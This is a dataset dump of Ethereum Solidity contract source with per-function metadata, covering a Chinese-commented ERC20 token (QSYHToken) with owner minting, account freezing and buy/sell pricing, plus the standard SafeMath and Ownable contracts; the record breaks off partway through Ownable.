require (balanceOf[_to] + _value + 1> balanceOf[_to]);
//检查 冻结帐户
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
if(_from == owner) {
coinmakingdate[_to] = now;
}
//从发送者减掉发送额
balanceOf[_from] -= _value;
//给接收者加上相同的量
balanceOf[_to] += _value;
//通知任何监听该交易的客户端
Transfer(_from, _to, _value);
}
| /**
* 私有方法，从指定帐户转出余额
* @param _from address 发送代币的地址
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/ | NatSpecMultiLine | v0.4.16+commit.d7661dd9 | None | bzzr://6f992b4cff8f144bc7fea46ee9b37e5b69bff4a7ea2557a548f44b93b49e1358 | {
"func_code_index": [
1006,
1704
]
} | 8,378 |
QSYHToken | QSYHToken.sol | 0x8f59c838b4818fb77e95a9d6ee42190807d36137 | Solidity | QSYHToken | contract QSYHToken is owned, TokenERC20 {
//卖出的汇率,一个代币，可以卖出多少个以太币，单位是wei
uint256 public sellPrice;
//买入的汇率,1个以太币，可以买几个代币
uint256 public buyPrice;
//是否冻结帐户的列表
mapping (address => bool) public frozenAccount;
//记录发币日期
mapping (address => uint) private coinmakingdate;
//定义一个事件，当有资产被冻结的时候，通知正在监听事件的客户端
event FrozenFunds(address target, bool frozen);
event jdAccounts(address target, uint jdnum);
/*初始化合约，并且把初始的所有的令牌都给这合约的创建者
* @param initialSupply 所有币的总数
* @param tokenName 代币名称
* @param tokenSymbol 代币符号
*/
function QSYHToken (
uint256 initialSupply,
string tokenName,
string tokenSymbol
//jiedongAccount[msg.sender] = tokenSymbol;
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/**
* 私有方法，从指定帐户转出余额
* @param _from address 发送代币的地址
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/
function _transfer(address _from, address _to, uint _value) internal {
//避免转帐的地址是0x0
require (_to != 0x0);
//检查发送者是否拥有足够余额
require (balanceOf[_from] + 1 > _value);
//检查是否溢出
require (balanceOf[_to] + _value + 1> balanceOf[_to]);
//检查 冻结帐户
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
if(_from == owner) {
coinmakingdate[_to] = now;
}
//从发送者减掉发送额
balanceOf[_from] -= _value;
//给接收者加上相同的量
balanceOf[_to] += _value;
//通知任何监听该交易的客户端
Transfer(_from, _to, _value);
}
/**
* 合约拥有者，可以为指定帐户创造一些代币
* @param target address 帐户地址
* @param mintedAmount uint256 增加的金额(单位是wei)
*/
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
//给指定地址增加代币，同时总量也相加
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
/**
* 增加冻结帐户名称
*
* 你可能需要监管功能以便你能控制谁可以/谁不可以使用你创建的代币合约
*
* @param target address 帐户地址
* @param freeze bool 是否冻结
*/
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
/**
* 设置买卖价格
*
* 如果你想让ether(或其他代币)为你的代币进行背书,以便可以市场价自动化买卖代币,我们可以这么做。如果要使用浮动的价格，也可以在这里设置
*
* @param newSellPrice 新的卖出价格
* @param newBuyPrice 新的买入价格
*/
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/**
* 使用以太币购买代币
*/
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
/**
* @dev 卖出代币
* @return 要卖出的数量(单位是wei)
*/
function sell(uint256 amount) public {
//检查合约的余额是否充足
require(this.balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
function getcoinmakingdate(address target) public view returns (uint) {
return (coinmakingdate[target]);
}
} | /**
* 代币增发、
* 代币冻结、
* 代币自动销售和购买、
* 高级代币功能
*/ | NatSpecMultiLine | mintToken | function mintToken(address target, uint256 mintedAmount) onlyOwner public {
//给指定地址增加代币，同时总量也相加
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
| /**
* 合约拥有者，可以为指定帐户创造一些代币
* @param target address 帐户地址
* @param mintedAmount uint256 增加的金额(单位是wei)
*/ | NatSpecMultiLine | v0.4.16+commit.d7661dd9 | None | bzzr://6f992b4cff8f144bc7fea46ee9b37e5b69bff4a7ea2557a548f44b93b49e1358 | {
"func_code_index": [
1841,
2137
]
} | 8,379 |
QSYHToken | QSYHToken.sol | 0x8f59c838b4818fb77e95a9d6ee42190807d36137 | Solidity | QSYHToken | contract QSYHToken is owned, TokenERC20 {
//卖出的汇率,一个代币，可以卖出多少个以太币，单位是wei
uint256 public sellPrice;
//买入的汇率,1个以太币，可以买几个代币
uint256 public buyPrice;
//是否冻结帐户的列表
mapping (address => bool) public frozenAccount;
//记录发币日期
mapping (address => uint) private coinmakingdate;
//定义一个事件，当有资产被冻结的时候，通知正在监听事件的客户端
event FrozenFunds(address target, bool frozen);
event jdAccounts(address target, uint jdnum);
/*初始化合约，并且把初始的所有的令牌都给这合约的创建者
* @param initialSupply 所有币的总数
* @param tokenName 代币名称
* @param tokenSymbol 代币符号
*/
function QSYHToken (
uint256 initialSupply,
string tokenName,
string tokenSymbol
//jiedongAccount[msg.sender] = tokenSymbol;
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/**
* 私有方法，从指定帐户转出余额
* @param _from address 发送代币的地址
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/
function _transfer(address _from, address _to, uint _value) internal {
//避免转帐的地址是0x0
require (_to != 0x0);
//检查发送者是否拥有足够余额
require (balanceOf[_from] + 1 > _value);
//检查是否溢出
require (balanceOf[_to] + _value + 1> balanceOf[_to]);
//检查 冻结帐户
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
if(_from == owner) {
coinmakingdate[_to] = now;
}
//从发送者减掉发送额
balanceOf[_from] -= _value;
//给接收者加上相同的量
balanceOf[_to] += _value;
//通知任何监听该交易的客户端
Transfer(_from, _to, _value);
}
/**
* 合约拥有者，可以为指定帐户创造一些代币
* @param target address 帐户地址
* @param mintedAmount uint256 增加的金额(单位是wei)
*/
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
//给指定地址增加代币，同时总量也相加
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
/**
* 增加冻结帐户名称
*
* 你可能需要监管功能以便你能控制谁可以/谁不可以使用你创建的代币合约
*
* @param target address 帐户地址
* @param freeze bool 是否冻结
*/
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
/**
* 设置买卖价格
*
* 如果你想让ether(或其他代币)为你的代币进行背书,以便可以市场价自动化买卖代币,我们可以这么做。如果要使用浮动的价格，也可以在这里设置
*
* @param newSellPrice 新的卖出价格
* @param newBuyPrice 新的买入价格
*/
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/**
* 使用以太币购买代币
*/
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
/**
* @dev 卖出代币
* @return 要卖出的数量(单位是wei)
*/
function sell(uint256 amount) public {
//检查合约的余额是否充足
require(this.balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
function getcoinmakingdate(address target) public view returns (uint) {
return (coinmakingdate[target]);
}
} | /**
* 代币增发、
* 代币冻结、
* 代币自动销售和购买、
* 高级代币功能
*/ | NatSpecMultiLine | freezeAccount | function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
| /**
* 增加冻结帐户名称
*
* 你可能需要监管功能以便你能控制谁可以/谁不可以使用你创建的代币合约
*
* @param target address 帐户地址
* @param freeze bool 是否冻结
*/ | NatSpecMultiLine | v0.4.16+commit.d7661dd9 | None | bzzr://6f992b4cff8f144bc7fea46ee9b37e5b69bff4a7ea2557a548f44b93b49e1358 | {
"func_code_index": [
2306,
2467
]
} | 8,380 |
QSYHToken | QSYHToken.sol | 0x8f59c838b4818fb77e95a9d6ee42190807d36137 | Solidity | QSYHToken | contract QSYHToken is owned, TokenERC20 {
//卖出的汇率,一个代币，可以卖出多少个以太币，单位是wei
uint256 public sellPrice;
//买入的汇率,1个以太币，可以买几个代币
uint256 public buyPrice;
//是否冻结帐户的列表
mapping (address => bool) public frozenAccount;
//记录发币日期
mapping (address => uint) private coinmakingdate;
//定义一个事件，当有资产被冻结的时候，通知正在监听事件的客户端
event FrozenFunds(address target, bool frozen);
event jdAccounts(address target, uint jdnum);
/*初始化合约，并且把初始的所有的令牌都给这合约的创建者
* @param initialSupply 所有币的总数
* @param tokenName 代币名称
* @param tokenSymbol 代币符号
*/
function QSYHToken (
uint256 initialSupply,
string tokenName,
string tokenSymbol
//jiedongAccount[msg.sender] = tokenSymbol;
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/**
* 私有方法，从指定帐户转出余额
* @param _from address 发送代币的地址
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/
function _transfer(address _from, address _to, uint _value) internal {
//避免转帐的地址是0x0
require (_to != 0x0);
//检查发送者是否拥有足够余额
require (balanceOf[_from] + 1 > _value);
//检查是否溢出
require (balanceOf[_to] + _value + 1> balanceOf[_to]);
//检查 冻结帐户
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
if(_from == owner) {
coinmakingdate[_to] = now;
}
//从发送者减掉发送额
balanceOf[_from] -= _value;
//给接收者加上相同的量
balanceOf[_to] += _value;
//通知任何监听该交易的客户端
Transfer(_from, _to, _value);
}
/**
* 合约拥有者，可以为指定帐户创造一些代币
* @param target address 帐户地址
* @param mintedAmount uint256 增加的金额(单位是wei)
*/
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
//给指定地址增加代币，同时总量也相加
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
/**
* 增加冻结帐户名称
*
* 你可能需要监管功能以便你能控制谁可以/谁不可以使用你创建的代币合约
*
* @param target address 帐户地址
* @param freeze bool 是否冻结
*/
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
/**
* 设置买卖价格
*
* 如果你想让ether(或其他代币)为你的代币进行背书,以便可以市场价自动化买卖代币,我们可以这么做。如果要使用浮动的价格，也可以在这里设置
*
* @param newSellPrice 新的卖出价格
* @param newBuyPrice 新的买入价格
*/
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/**
* 使用以太币购买代币
*/
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
/**
* @dev 卖出代币
* @return 要卖出的数量(单位是wei)
*/
function sell(uint256 amount) public {
//检查合约的余额是否充足
require(this.balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
function getcoinmakingdate(address target) public view returns (uint) {
return (coinmakingdate[target]);
}
} | /**
* 代币增发、
* 代币冻结、
* 代币自动销售和购买、
* 高级代币功能
*/ | NatSpecMultiLine | setPrices | function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
| /**
* 设置买卖价格
*
* 如果你想让ether(或其他代币)为你的代币进行背书,以便可以市场价自动化买卖代币,我们可以这么做。如果要使用浮动的价格，也可以在这里设置
*
* @param newSellPrice 新的卖出价格
* @param newBuyPrice 新的买入价格
*/ | NatSpecMultiLine | v0.4.16+commit.d7661dd9 | None | bzzr://6f992b4cff8f144bc7fea46ee9b37e5b69bff4a7ea2557a548f44b93b49e1358 | {
"func_code_index": [
2676,
2836
]
} | 8,381 |
QSYHToken | QSYHToken.sol | 0x8f59c838b4818fb77e95a9d6ee42190807d36137 | Solidity | QSYHToken | contract QSYHToken is owned, TokenERC20 {
//卖出的汇率,一个代币，可以卖出多少个以太币，单位是wei
uint256 public sellPrice;
//买入的汇率,1个以太币，可以买几个代币
uint256 public buyPrice;
//是否冻结帐户的列表
mapping (address => bool) public frozenAccount;
//记录发币日期
mapping (address => uint) private coinmakingdate;
//定义一个事件，当有资产被冻结的时候，通知正在监听事件的客户端
event FrozenFunds(address target, bool frozen);
event jdAccounts(address target, uint jdnum);
/*初始化合约，并且把初始的所有的令牌都给这合约的创建者
* @param initialSupply 所有币的总数
* @param tokenName 代币名称
* @param tokenSymbol 代币符号
*/
function QSYHToken (
uint256 initialSupply,
string tokenName,
string tokenSymbol
//jiedongAccount[msg.sender] = tokenSymbol;
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/**
* 私有方法，从指定帐户转出余额
* @param _from address 发送代币的地址
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/
function _transfer(address _from, address _to, uint _value) internal {
//避免转帐的地址是0x0
require (_to != 0x0);
//检查发送者是否拥有足够余额
require (balanceOf[_from] + 1 > _value);
//检查是否溢出
require (balanceOf[_to] + _value + 1> balanceOf[_to]);
//检查 冻结帐户
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
if(_from == owner) {
coinmakingdate[_to] = now;
}
//从发送者减掉发送额
balanceOf[_from] -= _value;
//给接收者加上相同的量
balanceOf[_to] += _value;
//通知任何监听该交易的客户端
Transfer(_from, _to, _value);
}
/**
* 合约拥有者，可以为指定帐户创造一些代币
* @param target address 帐户地址
* @param mintedAmount uint256 增加的金额(单位是wei)
*/
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
//给指定地址增加代币，同时总量也相加
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
/**
* 增加冻结帐户名称
*
* 你可能需要监管功能以便你能控制谁可以/谁不可以使用你创建的代币合约
*
* @param target address 帐户地址
* @param freeze bool 是否冻结
*/
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
/**
* 设置买卖价格
*
* 如果你想让ether(或其他代币)为你的代币进行背书,以便可以市场价自动化买卖代币,我们可以这么做。如果要使用浮动的价格，也可以在这里设置
*
* @param newSellPrice 新的卖出价格
* @param newBuyPrice 新的买入价格
*/
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/**
* 使用以太币购买代币
*/
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
/**
* @dev 卖出代币
* @return 要卖出的数量(单位是wei)
*/
function sell(uint256 amount) public {
//检查合约的余额是否充足
require(this.balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
function getcoinmakingdate(address target) public view returns (uint) {
return (coinmakingdate[target]);
}
} | /**
* 代币增发、
* 代币冻结、
* 代币自动销售和购买、
* 高级代币功能
*/ | NatSpecMultiLine | buy | function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
| /**
* 使用以太币购买代币
*/ | NatSpecMultiLine | v0.4.16+commit.d7661dd9 | None | bzzr://6f992b4cff8f144bc7fea46ee9b37e5b69bff4a7ea2557a548f44b93b49e1358 | {
"func_code_index": [
2876,
3009
]
} | 8,382 |
QSYHToken | QSYHToken.sol | 0x8f59c838b4818fb77e95a9d6ee42190807d36137 | Solidity | QSYHToken | contract QSYHToken is owned, TokenERC20 {
//卖出的汇率,一个代币，可以卖出多少个以太币，单位是wei
uint256 public sellPrice;
//买入的汇率,1个以太币，可以买几个代币
uint256 public buyPrice;
//是否冻结帐户的列表
mapping (address => bool) public frozenAccount;
//记录发币日期
mapping (address => uint) private coinmakingdate;
//定义一个事件，当有资产被冻结的时候，通知正在监听事件的客户端
event FrozenFunds(address target, bool frozen);
event jdAccounts(address target, uint jdnum);
/*初始化合约，并且把初始的所有的令牌都给这合约的创建者
* @param initialSupply 所有币的总数
* @param tokenName 代币名称
* @param tokenSymbol 代币符号
*/
function QSYHToken (
uint256 initialSupply,
string tokenName,
string tokenSymbol
//jiedongAccount[msg.sender] = tokenSymbol;
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/**
* 私有方法，从指定帐户转出余额
* @param _from address 发送代币的地址
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/
function _transfer(address _from, address _to, uint _value) internal {
//避免转帐的地址是0x0
require (_to != 0x0);
//检查发送者是否拥有足够余额
require (balanceOf[_from] + 1 > _value);
//检查是否溢出
require (balanceOf[_to] + _value + 1> balanceOf[_to]);
//检查 冻结帐户
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
if(_from == owner) {
coinmakingdate[_to] = now;
}
//从发送者减掉发送额
balanceOf[_from] -= _value;
//给接收者加上相同的量
balanceOf[_to] += _value;
//通知任何监听该交易的客户端
Transfer(_from, _to, _value);
}
/**
* 合约拥有者，可以为指定帐户创造一些代币
* @param target address 帐户地址
* @param mintedAmount uint256 增加的金额(单位是wei)
*/
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
//给指定地址增加代币，同时总量也相加
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
/**
* 增加冻结帐户名称
*
* 你可能需要监管功能以便你能控制谁可以/谁不可以使用你创建的代币合约
*
* @param target address 帐户地址
* @param freeze bool 是否冻结
*/
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
/**
* 设置买卖价格
*
* 如果你想让ether(或其他代币)为你的代币进行背书,以便可以市场价自动化买卖代币,我们可以这么做。如果要使用浮动的价格，也可以在这里设置
*
* @param newSellPrice 新的卖出价格
* @param newBuyPrice 新的买入价格
*/
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/**
* 使用以太币购买代币
*/
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
/**
* @dev 卖出代币
* @return 要卖出的数量(单位是wei)
*/
function sell(uint256 amount) public {
//检查合约的余额是否充足
require(this.balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
function getcoinmakingdate(address target) public view returns (uint) {
return (coinmakingdate[target]);
}
} | /**
* 代币增发、
* 代币冻结、
* 代币自动销售和购买、
* 高级代币功能
*/ | NatSpecMultiLine | sell | function sell(uint256 amount) public {
//检查合约的余额是否充足
require(this.balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
| /**
* @dev 卖出代币
* @return 要卖出的数量(单位是wei)
*/ | NatSpecMultiLine | v0.4.16+commit.d7661dd9 | None | bzzr://6f992b4cff8f144bc7fea46ee9b37e5b69bff4a7ea2557a548f44b93b49e1358 | {
"func_code_index": [
3080,
3312
]
} | 8,383 |
Test123Coin | Test123Coin.sol | 0x33d19f9e3e3f083ec5c2425401cc53d96e79ac3a | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(_b > 0);
uint256 c = _a / _b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
} | mul | function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
| /**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | Unlicense | bzzr://2727cdbbdb0bc927e9d7b0e7fe879b7c1700d6ac60a63af11ab1b451dab8773e | {
"func_code_index": [
103,
268
]
} | 8,384 |
||
Test123Coin | Test123Coin.sol | 0x33d19f9e3e3f083ec5c2425401cc53d96e79ac3a | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(_b > 0);
uint256 c = _a / _b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
} | div | function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(_b > 0);
uint256 c = _a / _b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | Unlicense | bzzr://2727cdbbdb0bc927e9d7b0e7fe879b7c1700d6ac60a63af11ab1b451dab8773e | {
"func_code_index": [
389,
655
]
} | 8,385 |
||
Test123Coin | Test123Coin.sol | 0x33d19f9e3e3f083ec5c2425401cc53d96e79ac3a | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(_b > 0);
uint256 c = _a / _b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
} | sub | function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
return _a - _b;
}
| /**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | Unlicense | bzzr://2727cdbbdb0bc927e9d7b0e7fe879b7c1700d6ac60a63af11ab1b451dab8773e | {
"func_code_index": [
783,
896
]
} | 8,386 |
||
Test123Coin | Test123Coin.sol | 0x33d19f9e3e3f083ec5c2425401cc53d96e79ac3a | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(_b > 0);
uint256 c = _a / _b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
} | add | function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
| /**
* @dev Adds two unsigned integers, reverts on overflow.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | Unlicense | bzzr://2727cdbbdb0bc927e9d7b0e7fe879b7c1700d6ac60a63af11ab1b451dab8773e | {
"func_code_index": [
970,
1100
]
} | 8,387 |
||
Test123Coin | Test123Coin.sol | 0x33d19f9e3e3f083ec5c2425401cc53d96e79ac3a | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(_b > 0);
uint256 c = _a / _b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
} | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
| /**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | Unlicense | bzzr://2727cdbbdb0bc927e9d7b0e7fe879b7c1700d6ac60a63af11ab1b451dab8773e | {
"func_code_index": [
1244,
1357
]
} | 8,388 |
||
Test123Coin | Test123Coin.sol | 0x33d19f9e3e3f083ec5c2425401cc53d96e79ac3a | Solidity | Ownable | contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
newOwner = address(0);
}
// allows execution by the owner only
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyNewOwner() {
require(msg.sender != address(0));
require(msg.sender == newOwner);
_;
}
/**
@dev allows transferring the contract ownership
the new owner still needs to accept the transfer
can only be called by the contract owner
@param _newOwner new contract owner
*/
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
newOwner = _newOwner;
}
/**
@dev used by a new owner to accept an ownership transfer
*/
function acceptOwnership() public onlyNewOwner {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
} | /*
* Ownable
*
* Base contract with an owner.
* Provides onlyOwner modifier, which prevents function from running if it is called by anyone other than the owner.
*/ | Comment | transferOwnership | function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
newOwner = _newOwner;
}
| /**
@dev allows transferring the contract ownership
the new owner still needs to accept the transfer
can only be called by the contract owner
@param _newOwner new contract owner
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | Unlicense | bzzr://2727cdbbdb0bc927e9d7b0e7fe879b7c1700d6ac60a63af11ab1b451dab8773e | {
"func_code_index": [
652,
778
]
} | 8,389 |
Test123Coin | Test123Coin.sol | 0x33d19f9e3e3f083ec5c2425401cc53d96e79ac3a | Solidity | Ownable | contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
newOwner = address(0);
}
// allows execution by the owner only
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyNewOwner() {
require(msg.sender != address(0));
require(msg.sender == newOwner);
_;
}
/**
@dev allows transferring the contract ownership
the new owner still needs to accept the transfer
can only be called by the contract owner
@param _newOwner new contract owner
*/
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
newOwner = _newOwner;
}
/**
